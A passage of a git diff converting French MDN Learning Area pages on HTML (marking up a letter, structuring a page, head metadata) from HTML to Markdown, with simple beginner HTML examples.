suivante montre ce à quoi la lettre devrait ressembler après le balisage.</p> +La capture d'écran suivante montre ce à quoi la lettre devrait ressembler après le balisage. -<p><img alt="Présentation de la lettre" src="fr-lettre.png"></p> + -<h2 id="Évaluation">Évaluation</h2> +## Évaluation -<p>Si cette évaluation fait partie d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur/formateur pour notation. Si vous faites de l'auto‑formation vous pouvez obtenir un guide d'auto‑évaluation en le demandant sur le <a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">Learning Area Discourse thread</a> ou sur le canal IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> sur <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Essayez l'exercice d'abord — il n'y a rien à gagner à tricher !</p> +Si cette évaluation fait partie d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur/formateur pour notation. Si vous faites de l'auto‑formation vous pouvez obtenir un guide d'auto‑évaluation en le demandant sur le [Learning Area Discourse thread](https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294) ou sur le canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez l'exercice d'abord — il n'y a rien à gagner à tricher ! -<p>{{PreviousMenuNext("Apprendre/HTML/Introduction_to_HTML/Debugging_HTML", "Apprendre/HTML/Introduction_%C3%A0_HTML/Structuring_a_page_of_content", "Apprendre/HTML/Introduction_to_HTML")}}</p> +{{PreviousMenuNext("Apprendre/HTML/Introduction_to_HTML/Debugging_HTML", "Apprendre/HTML/Introduction_%C3%A0_HTML/Structuring_a_page_of_content", "Apprendre/HTML/Introduction_to_HTML")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Commencer avec le HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fondamentaux du texte HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creation d'hyperliens</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Formatage avancé du texte</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Structure de Site Web et de document</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Déboguer de l'HTML</a></li> - <li>Faire une Lettre</li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structurer une page de contenu</a></li> -</ul> +- [Commencer avec le HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started) +- [Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML) +- [Fondamentaux du texte HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals) +- [Creation d'hyperliens](/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks) +- [Formatage avancé du texte](/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting) +- [Structure de Site Web et de document](/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure) +- [Déboguer de l'HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML) +- Faire une Lettre +- [Structurer une page de contenu](/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content) diff --git a/files/fr/learn/html/introduction_to_html/structuring_a_page_of_content/index.md b/files/fr/learn/html/introduction_to_html/structuring_a_page_of_content/index.md index 0fa7c74921..2f14f32358 100644 --- a/files/fr/learn/html/introduction_to_html/structuring_a_page_of_content/index.md +++ b/files/fr/learn/html/introduction_to_html/structuring_a_page_of_content/index.md @@ -4,94 +4,92 @@ slug: Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content translation_of: Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content original_slug: Apprendre/HTML/Introduction_à_HTML/Structuring_a_page_of_content --- -<div>{{LearnSidebar}}<br> -{{PreviousNext("Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}}</div> +{{LearnSidebar}} +{{PreviousNext("Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}} -<p>Il est essentiel de savoir structurer une page de contenu prête à être mise en forme grâce au CSS. Cette évaluation va vous permettre de vous tester sur votre capacité à réfléchir au rendu visuel final d'une page et à choisir la sémantique structurelle appropriée pour construire une bonne mise en page.</p> +Il est essentiel de savoir structurer une page de contenu prête à être mise en forme grâce au CSS. Cette évaluation va vous permettre de vous tester sur votre capacité à réfléchir au rendu visuel final d'une page et à choisir la sémantique structurelle appropriée pour construire une bonne mise en page. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Avant de commencer cette évaluation, vous devriez avoir déjà travaillé sur le reste du cours, en particulier sur <a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Document_and_website_structure">Structure de Site Web et de document</a></td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Tester vos connaissances sur la structure des pages web et d'une représentation prospective d'un design de mise en page avec un balisage.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Avant de commencer cette évaluation, vous devriez avoir déjà travaillé + sur le reste du cours, en particulier sur + <a + href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Document_and_website_structure" + >Structure de Site Web et de document</a + > + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Tester vos connaissances sur la structure des pages web et d'une + représentation prospective d'un design de mise en page avec un balisage. + </td> + </tr> + </tbody> </table> -<h2 id="Point_de_départ">Point de départ</h2> +## Point de départ -<p>Pour commencer cet exercice, vous pouvez télécharger <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/structuring-a-page-of-content-start/assets.zip?raw=true">l'archive contenant les fichiers nécessaires</a> à cette évaluation. Elle contient :</p> +Pour commencer cet exercice, vous pouvez télécharger [l'archive contenant les fichiers nécessaires](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/structuring-a-page-of-content-start/assets.zip?raw=true) à cette évaluation. Elle contient : -<ul> - <li>le fichier HTML auquel vous allez devoir ajouter le balisage structurel,</li> - <li>le fichier CSS pour styliser la page,</li> - <li>les images utilisées dans la page.</li> -</ul> +- le fichier HTML auquel vous allez devoir ajouter le balisage structurel, +- le fichier CSS pour styliser la page, +- les images utilisées dans la page. -<p>Décompressez l'archive sur votre ordinateur, ou bien utilisez un site web comme <a class="external external-icon" href="http://jsbin.com/">JSBin</a> ou <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> pour faire votre évaluation.</p> +Décompressez l'archive sur votre ordinateur, ou bien utilisez un site web comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour faire votre évaluation. -<h2 id="Aperçu_du_projet">Aperçu du projet</h2> +## Aperçu du projet -<p>Dans ce projet, l'objectif est d'ajouter des éléments structurels au contenu de la page d'accueil d'un site d'observation d'oiseaux pour parfaire sa mise en page. La page devra contenir :</p> +Dans ce projet, l'objectif est d'ajouter des éléments structurels au contenu de la page d'accueil d'un site d'observation d'oiseaux pour parfaire sa mise en page. La page devra contenir : -<ul> - <li>un en‑tête sur toute la largeur de la page avec le titre de la page, le logo du site et le menu de navigation. Le titre et le logo apparaîtront côte à côte une fois le style appliqué, et la navigation sera juste au‑dessous du menu,</li> - <li>une zone de contenu principal de deux colonnes : un bloc principal avec le texte de bienvenue et une barre latérale avec des vignettes d'images,</li> - <li>un pied de page avec les informations de droits d'auteur et les crédits.</li> -</ul> +- un en‑tête sur toute la largeur de la page avec le titre de la page, le logo du site et le menu de navigation. Le titre et le logo apparaîtront côte à côte une fois le style appliqué, et la navigation sera juste au‑dessous du menu, +- une zone de contenu principal de deux colonnes : un bloc principal avec le texte de bienvenue et une barre latérale avec des vignettes d'images, +- un pied de page avec les informations de droits d'auteur et les crédits. -<p>Vous devez ajouter les enveloppes appropriées pour :</p> +Vous devez ajouter les enveloppes appropriées pour : -<ul> - <li>l'en-tête</li> - <li>le menu de navigation</li> - <li>le contenu principal</li> - <li>le texte de bienvenue</li> - <li>la barre latérale avec les images</li> - <li>le pied de page</li> -</ul> +- l'en-tête +- le menu de navigation +- le contenu principal +- le texte de bienvenue +- la barre latérale avec les images +- le pied de page -<p>Vous devez aussi</p> +Vous devez aussi -<ul> - <li>appliquer à la page les CSS fournies en ajoutant un élément {{htmlelement("link")}} juste au‑dessous de celui existant.</li> -</ul> +- appliquer à la page les CSS fournies en ajoutant un élément {{htmlelement("link")}} juste au‑dessous de celui existant. -<h2 id="Conseils_et_astuces"><strong>Conseils et astuces</strong></h2> +## **Conseils et astuces** -<ul> - <li>Utilisez le « <a href="https://validator.w3.org/">W3C HTML validator »</a> pour valider votre HTML ; vous aurez des points bonus si la validation s'opère autant que possible (la ligne « googleapis » est une ligne utilisée pour importer des polices personnalisées dans la page à partir du service « Google Fonts » ; elle ne sera pas validée, donc ne vous en inquiétez pas).</li> - <li>Il n'est pas nécessaire de connaître quoi que ce soit des CSS pour faire cet exercice ; vous avez juste besoin de placer les CSS fournies dans l'élément HTML.</li> - <li>Les CSS jointes sont conçues de telle sorte que les éléments structuraux adéquats ont été ajoutés dans le balisage, ils apparaîtront en vert dans le rendu de la page.</li> - <li>Si vous êtes bloqué et ne voyez pas où mettre tel élément, cela peut vous aider de tracer un diagramme des blocs de disposition de la page et d'écrire sur chaque élément ce qui, à votre avis devrait envelopper chaque bloc.</li> -</ul> +- Utilisez le « [W3C HTML validator »](https://validator.w3.org/) pour valider votre HTML ; vous aurez des points bonus si la validation s'opère autant que possible (la ligne « googleapis » est une ligne utilisée pour importer des polices personnalisées dans la page à partir du service « Google Fonts » ; elle ne sera pas validée, donc ne vous en inquiétez pas). +- Il n'est pas nécessaire de connaître quoi que ce soit des CSS pour faire cet exercice ; vous avez juste besoin de placer les CSS fournies dans l'élément HTML. +- Les CSS jointes sont conçues de telle sorte que les éléments structuraux adéquats ont été ajoutés dans le balisage, ils apparaîtront en vert dans le rendu de la page. +- Si vous êtes bloqué et ne voyez pas où mettre tel élément, cela peut vous aider de tracer un diagramme des blocs de disposition de la page et d'écrire sur chaque élément ce qui, à votre avis devrait envelopper chaque bloc. -<h2 id="Exemple">Exemple</h2> +## Exemple -<p>La capture d'écran suivante montre un exemple de ce à quoi la page d'accueil peut ressembler après avoir été balisée.</p> +La capture d'écran suivante montre un exemple de ce à quoi la page d'accueil peut ressembler après avoir été balisée. -<p><img alt="L'exemple de l'exercice complété ; une page web unique sur l'observation des oiseaux, comprenant un en-tête "Observons les oiseaux", des photos d'oiseaux et un message de bienvenue." src="oiseaux.png"></p> + -<h2 id="Évaluation">Évaluation</h2> +## Évaluation -<p>Si cette évaluation fait partie d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur/formateur pour notation. Si vous faites de l'auto‑formation vous pouvez obtenir un guide d'auto‑évaluation en le demandant sur le <a class="external external-icon" href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294" rel="noopener">Learning Area Discourse thread</a> ou sur le canal IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> sur <a class="external external-icon" href="https://wiki.mozilla.org/IRC" rel="noopener">Mozilla IRC</a>. Essayez l'exercice d'abord — il n'y a rien à gagner à tricher !</p> +Si cette évaluation fait partie d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur/formateur pour notation. Si vous faites de l'auto‑formation vous pouvez obtenir un guide d'auto‑évaluation en le demandant sur le [Learning Area Discourse thread](https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294) ou sur le canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez l'exercice d'abord — il n'y a rien à gagner à tricher ! -<p>{{PreviousMenu("Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}}</p> +{{PreviousMenu("Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started">Commencer avec le HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fondamentaux du texte HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Création d'hyperliens</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Formatage avancé du texte</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Structure de Site Web et de document</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Déboguer de l'HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Faire une lettre</a></li> - <li>Structurer une page de contenu</li> -</ul> +- [Commencer avec le HTML](/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started) +- [Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML) +- [Fondamentaux du texte HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals) +- [Création d'hyperliens](/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks) +- [Formatage avancé du texte](/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting) +- [Structure de Site Web et de document](/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure) +- [Déboguer de l'HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML) +- [Faire une lettre](/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter) +- Structurer une page de contenu diff --git a/files/fr/learn/html/introduction_to_html/the_head_metadata_in_html/index.md b/files/fr/learn/html/introduction_to_html/the_head_metadata_in_html/index.md index af254c337d..c54e7c15c5 100644 --- a/files/fr/learn/html/introduction_to_html/the_head_metadata_in_html/index.md +++ b/files/fr/learn/html/introduction_to_html/the_head_metadata_in_html/index.md @@ -4,284 +4,290 @@ slug: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML translation_of: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML original_slug: Apprendre/HTML/Introduction_à_HTML/The_head_metadata_in_HTML --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML")}} -<div>{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML")}}</div> - -<p>L'en-tête {{glossary("Head", "head")}} dans un document HTML est une partie du document qui n'est pas affichée par le navigateur au chargement de la page. Elle contient des informations comme le titre ({{htmlelement("title")}}) de la page, des liens aux {{glossary("CSS")}} (si vous souhaitez composer le contenu HTML avec des CSS), des liens aux favicons personnalisés et d'autres méta-données (auteur du document, mots-clés décrivant le document, etc.). Cet article porte sur tout ceci et plus, pour vous donner de bonnes bases pour gérer les balises et le code qui devraient figurer dans l'en-tête.</p> +L'en-tête {{glossary("Head", "head")}} dans un document HTML est une partie du document qui n'est pas affichée par le navigateur au chargement de la page. Elle contient des informations comme le titre ({{htmlelement("title")}}) de la page, des liens aux {{glossary("CSS")}} (si vous souhaitez composer le contenu HTML avec des CSS), des liens aux favicons personnalisés et d'autres méta-données (auteur du document, mots-clés décrivant le document, etc.). Cet article porte sur tout ceci et plus, pour vous donner de bonnes bases pour gérer les balises et le code qui devraient figurer dans l'en-tête. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Connaître les bases du HTML, telles qu'elles sont exposées dans l'article <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Commencer avec le HTML</a></td> - </tr> - <tr> - <th scope="row">Objectifs:</th> - <td>En savoir plus sur la balise <head> du HTML, son objet, les éléments les plus importants qu'elle peut contenir et l'effet qu'elle peut avoir sur le document HTML.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Connaître les bases du HTML, telles qu'elles sont exposées dans + l'article + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started" + >Commencer avec le HTML</a + > + </td> + </tr> + <tr> + <th scope="row">Objectifs:</th> + <td> + En savoir plus sur la balise <head> du HTML, son objet, les + éléments les plus importants qu'elle peut contenir et l'effet qu'elle + peut avoir sur le document HTML. + </td> + </tr> + </tbody> </table> -<h2 id="Quest-ce_que_len-tête_de_HTML">Qu'est-ce que l'en-tête de HTML ?</h2> +## Qu'est-ce que l'en-tête de HTML ? + +Revoyons le document HTML de base de l' [article précédent](/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started#anatomy_of_an_html_document): + +```html +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Ma page test</title> + </head> + <body> + <p>Voici ma page</p> + </body> +</html> +``` -<p>Revoyons le document HTML de base de l' <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started#anatomy_of_an_html_document">article précédent</a>:</p> +Le contenu de l'en-tête HTML {{htmlelement("head")}} — à la difference du contenu de l'élément {{htmlelement("body")}} (affiché quand la page est chargée par le navigateur) — n'est pas affiché dans la page du navigateur. Le travail de la balise \<head> est de contenir les {{glossary("Metadata", "métadonnées")}} à propos du document. Dans l'exemple ci-dessus, l'en-tête est plutôt petit : -<pre class="brush: html"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Ma page test</title> - </head> - <body> - <p>Voici ma page</p> - </body> -</html></pre> +```html +<head> + <meta charset="utf-8"> + <title>Ma page test</title> +</head> +``` -<p>Le contenu de l'en-tête HTML {{htmlelement("head")}} — à la difference du contenu de l'élément {{htmlelement("body")}} (affiché quand la page est chargée par le navigateur) — n'est pas affiché dans la page du navigateur. Le travail de la balise <head> est de contenir les {{glossary("Metadata", "métadonnées")}} à propos du document. Dans l'exemple ci-dessus, l'en-tête est plutôt petit :</p> +Toutefois dans les pages plus importantes, l'en-tête peut contenir un grand nombre d'éléments — essayez d'aller sur certains de vos sites web préférés et utilisez les [outils de développement](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) pour vérifier le contenu de l'en-tête. Notre objectif ici n'est pas de vous montrer comment utiliser tout ce qui peut être mis dans l'élément \<head>, mais plutôt de vous apprendre à utiliser les outils les plus évidents, que vous souhaiterez inclure dans l'en-tête, et vous les rendre plus familiers. Commençons. -<pre class="brush: html"><head> - <meta charset="utf-8"> - <title>Ma page test</title> -</head></pre> +## Ajouter un titre -<p>Toutefois dans les pages plus importantes, l'en-tête peut contenir un grand nombre d'éléments — essayez d'aller sur certains de vos sites web préférés et utilisez les <a href="/fr/docs/Learn/Common_questions/What_are_browser_developer_tools">outils de développement</a> pour vérifier le contenu de l'en-tête. Notre objectif ici n'est pas de vous montrer comment utiliser tout ce qui peut être mis dans l'élément <head>, mais plutôt de vous apprendre à utiliser les outils les plus évidents, que vous souhaiterez inclure dans l'en-tête, et vous les rendre plus familiers. Commençons.</p> +Nous avons déjà vu l'élément {{htmlelement ("title")}} — qui peut être utilisé pour ajouter un intitulé au document. Il peut toutefois être confondu avec l'élément {{htmlelement ("h1")}}, pour ajouter un en‑tête de haut nieau au contenu de votre page dans l'élément {{htmlelement("body")}} — quelquefois désigné comme étant le « titre de la page ». Mais ce sont des choses différentes ! -<h2 id="Ajouter_un_titre">Ajouter un titre</h2> +- L'élément {{htmlelement("h1")}} apparaît dans la page quand elle est chargée dans le navigateur — généralement, il devrait être utilisé une fois par page, pour marquer le titre du contenu de votre page (le titre d'une histoire, ou d'une actualité, ou tout ce qui vous paraît approprié). +- L'élément {{htmlelement("title")}} est une métadonnée qui représente l'intitulé du document HTML global (non le contenu du document). -<p>Nous avons déjà vu l'élément {{htmlelement ("title")}} — qui peut être utilisé pour ajouter un intitulé au document. Il peut toutefois être confondu avec l'élément {{htmlelement ("h1")}}, pour ajouter un en‑tête de haut nieau au contenu de votre page dans l'élément {{htmlelement("body")}} — quelquefois désigné comme étant le « titre de la page ». Mais ce sont des choses différentes !</p> +### Apprentissage actif : inspection d'un exemple simple -<ul> - <li>L'élément {{htmlelement("h1")}} apparaît dans la page quand elle est chargée dans le navigateur — généralement, il devrait être utilisé une fois par page, pour marquer le titre du contenu de votre page (le titre d'une histoire, ou d'une actualité, ou tout ce qui vous paraît approprié).</li> - <li>L'élément {{htmlelement("title")}} est une métadonnée qui représente l'intitulé du document HTML global (non le contenu du document).</li> -</ul> +1. Pour commencer cet apprentissage actif, nous vous invitons à télécharger une copie de notre [page-titre-exemple](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html) sur le dépôt Github. Pour ce faire, soit : -<h3 id="Apprentissage_actif_inspection_dun_exemple_simple">Apprentissage actif : inspection d'un exemple simple </h3> + 1. copiez et collez le code hors de la page dans un nouveau fichier texte dans votre éditeur de code, puis sauvegardez-le dans un endroit raisonnable. + 2. pressez le bouton « Raw » de la page : le texte brut apparaît dans un nouvel onglet du navigateur. Ensuite, choisissez _Fichier> Enregistrer la page sous ..._ dans le menu du navigateur, puis choisissez un endroit pour enregistrer le fichier. -<ol> - <li>Pour commencer cet apprentissage actif, nous vous invitons à télécharger une copie de notre <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">page-titre-exemple</a> sur le dépôt Github. Pour ce faire, soit : +2. Maintenant, ouvrez le fichier dans votre navigateur. Vous devriez voir quelque chose comme ça : - <ol> - <li>copiez et collez le code hors de la page dans un nouveau fichier texte dans votre éditeur de code, puis sauvegardez-le dans un endroit raisonnable.</li> - <li>pressez le bouton « Raw » de la page : le texte brut apparaît dans un nouvel onglet du navigateur. Ensuite, choisissez <em>Fichier> Enregistrer la page sous ...</em> dans le menu du navigateur, puis choisissez un endroit pour enregistrer le fichier.</li> - </ol> - </li> - <li>Maintenant, ouvrez le fichier dans votre navigateur. Vous devriez voir quelque chose comme ça : - <p><img alt="Une simple page web page dont <title> a la valeur «Élément <title>» et <h1> la valeur Élément <h1>." src="fr-element-title.png">Il devrait désormais être évident de situer où le contenu de <h1> apparaît et où celui de <code><title></code> apparaît !</p> - </li> - <li> - <p>Vous devriez aussi essayer d'ouvrir ce code dans votre éditeur, modifier le contenu de ces éléments, puis rafraîchir la page dans votre navigateur. Amusez-vous avec ces fonctions.</p> - </li> -</ol> + Il devrait désormais être évident de situer où le contenu de \<h1> apparaît et où celui de `<title>` apparaît ! -<p>Le contenu de l'élément <code><title></code> est aussi utilisé de manières différentes . Par exemple, si vous tentez de marquer cette page dans vos Marques-pages ( <em>Marques-pages > Marquer cette page</em> ou bien l'étoile dans la barre d'outils de Firefox), vous verrez que le contenu de <code><title></code> est suggéré comme nom pour le marque-page.</p> +3. Vous devriez aussi essayer d'ouvrir ce code dans votre éditeur, modifier le contenu de ces éléments, puis rafraîchir la page dans votre navigateur. Amusez-vous avec ces fonctions. -<p><img alt="Une page Web marquée dans Firefox ; le nom du signet a été automatiquement rempli avec le contenu de l'élément <title>." src="fr-bookmarked.png"></p> +Le contenu de l'élément `<title>` est aussi utilisé de manières différentes . Par exemple, si vous tentez de marquer cette page dans vos Marques-pages ( _Marques-pages > Marquer cette page_ ou bien l'étoile dans la barre d'outils de Firefox), vous verrez que le contenu de `<title>` est suggéré comme nom pour le marque-page. -<p>Le contenu de <code><title></code> est aussi utilisé dans les résultats de recherches, comme vous le verrez ci‑dessous.</p> + -<h2 id="Métadonnées_lélément_<meta>">Métadonnées : l'élément <meta></h2> +Le contenu de `<title>` est aussi utilisé dans les résultats de recherches, comme vous le verrez ci‑dessous. -<p>Les métadonnées sont des données qui décrivent des données, et le langage HTML a une manière « officielle » d'ajouter des métadonnées à un document — l'élément {{htmlelement("meta")}}. Bien sûr, d'autres choses, dont nous parlons dans cet article, pourraient aussi être considérées comme des métadonnées. Il y a une panoplie d'autres éléments de type <code><meta></code> qui auraient pu figurer dans l'en-tête de votre page, mais nous n'en parlerons pas pour l'instant, car ce serait trop déroutant. À la place, nous expliquerons quelques éléments que vous pourriez voir, juste pour vous donner une idée.</p> +## Métadonnées : l'élément \<meta> -<h3 id="Définition_de_lencodage_des_caractères_du_document">Définition de l'encodage des caractères du document</h3> +Les métadonnées sont des données qui décrivent des données, et le langage HTML a une manière « officielle » d'ajouter des métadonnées à un document — l'élément {{htmlelement("meta")}}. Bien sûr, d'autres choses, dont nous parlons dans cet article, pourraient aussi être considérées comme des métadonnées. Il y a une panoplie d'autres éléments de type `<meta>` qui auraient pu figurer dans l'en-tête de votre page, mais nous n'en parlerons pas pour l'instant, car ce serait trop déroutant. À la place, nous expliquerons quelques éléments que vous pourriez voir, juste pour vous donner une idée. -<p>Dans l'exemple que nous avons vu au-dessus, cette ligne était présente :</p> +### Définition de l'encodage des caractères du document -<pre class="brush: html"><meta charset="utf-8"></pre> +Dans l'exemple que nous avons vu au-dessus, cette ligne était présente : -<p>Cet élément définit l'encodage des caractères du document - le jeu de caractères qu'il est autorisé à utiliser. <code>utf-8</code> <em> </em>est un jeu de caractères universel qui inclut à peu près tous les caractères des langues humaines. Cela signifie que votre page web sera capable de gérer l'affichage de n'importe quelle langue ; c'est donc une bonne idée de le définir dans chaque page web que vous créez ! Par exemple, votre page peut gérer l'anglais et le japonais sans aucun souci :</p> +```html +<meta charset="utf-8"> +``` -<p><img alt="Une page Web contenant des caractères français et japonais, le jeu de caractères étant universel ou utf-8. Les deux langues s'affichent correctement." src="fr-meta-utf8.png">Si vous définissez votre encodage de caractères en <code>ISO-8859-1</code> , par exemple (le jeu de caractères de l'alphabet latin), le rendu de votre page sera totalement perturbé :</p> +Cet élément définit l'encodage des caractères du document - le jeu de caractères qu'il est autorisé à utiliser. `utf-8` \*\*est un jeu de caractères universel qui inclut à peu près tous les caractères des langues humaines. Cela signifie que votre page web sera capable de gérer l'affichage de n'importe quelle langue ; c'est donc une bonne idée de le définir dans chaque page web que vous créez ! Par exemple, votre page peut gérer l'anglais et le japonais sans aucun souci : -<p><img alt="Une page Web contenant des caractères français et japonais, l'encodage des caractères étant réglé sur ISO latin. Les caractères japonais ne s'affichent pas correctement." src="fr-meta-iso.png"></p> +Si vous définissez votre encodage de caractères en `ISO-8859-1` , par exemple (le jeu de caractères de l'alphabet latin), le rendu de votre page sera totalement perturbé : -<div class="note"> -<p><strong>Note :</strong> Certains navigateurs (par ex. Chrome) corrigent automatiquement les encodages incorrects, ainsi selon le navigateur utilisé, ce problème pourrait vous passer totalement inaperçu. Vous devriez quand même définir un encodage <code>utf-8</code> sur votre page de toutes façons pour éviter tout problème potentiel avec d'autres navigateurs.</p> -</div> + -<h3 id="Apprentissage_actif_expérience_avec_lencodage_des_caractères">Apprentissage actif : expérience avec l'encodage des caractères</h3> +> **Note :** Certains navigateurs (par ex. Chrome) corrigent automatiquement les encodages incorrects, ainsi selon le navigateur utilisé, ce problème pourrait vous passer totalement inaperçu. Vous devriez quand même définir un encodage `utf-8` sur votre page de toutes façons pour éviter tout problème potentiel avec d'autres navigateurs. -<p>Pour cela, reportez-vous au modèle HTML simple que vous avez obtenu dans la section précédente sur <code><title></code> (la page <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">title-example.html</a>), faites un essai de modification de la valeur de la métadonnée <code>charset</code> en ISO-8859-1 et ajoutez le japonais à votre page. Voici le code que nous avons utilisé :</p> +### Apprentissage actif : expérience avec l'encodage des caractères -<pre class="brush: html"><p>Japanese example: ご飯が熱い。</p></pre> +Pour cela, reportez-vous au modèle HTML simple que vous avez obtenu dans la section précédente sur `<title>` (la page [title-example.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html)), faites un essai de modification de la valeur de la métadonnée `charset` en ISO-8859-1 et ajoutez le japonais à votre page. Voici le code que nous avons utilisé : -<h3 id="Ajouter_le_nom_de_lauteur_et_une_description">Ajouter le nom de l'auteur et une description</h3> +```html +<p>Japanese example: ご飯が熱い。</p> +``` -<p>De nombreux éléments <code><meta></code> icontiennent les attributs <code>name</code> et <code>content</code> :</p> +### Ajouter le nom de l'auteur et une description -<ul> - <li><code>name</code> définit le type de méta élément ; le type d'informations contenu.</li> - <li><code>content</code> définit le contenu réel de la métadonnée.</li> -</ul> +De nombreux éléments `<meta>` icontiennent les attributs `name` et `content` : -<p>Il est utile d'inclure ces deux méta-éléments dans votre page pour définir son auteur et donner une courte description de son contenu. Voyons un exemple :</p> +- `name` définit le type de méta élément ; le type d'informations contenu. +- `content` définit le contenu réel de la métadonnée. -<pre class="brush: html"><meta name="author" content="Chris Mills"> -<meta name="description" content="La Zone Apprentissage des documents web +Il est utile d'inclure ces deux méta-éléments dans votre page pour définir son auteur et donner une courte description de son contenu. Voyons un exemple : + +```html +<meta name="author" content="Chris Mills"> 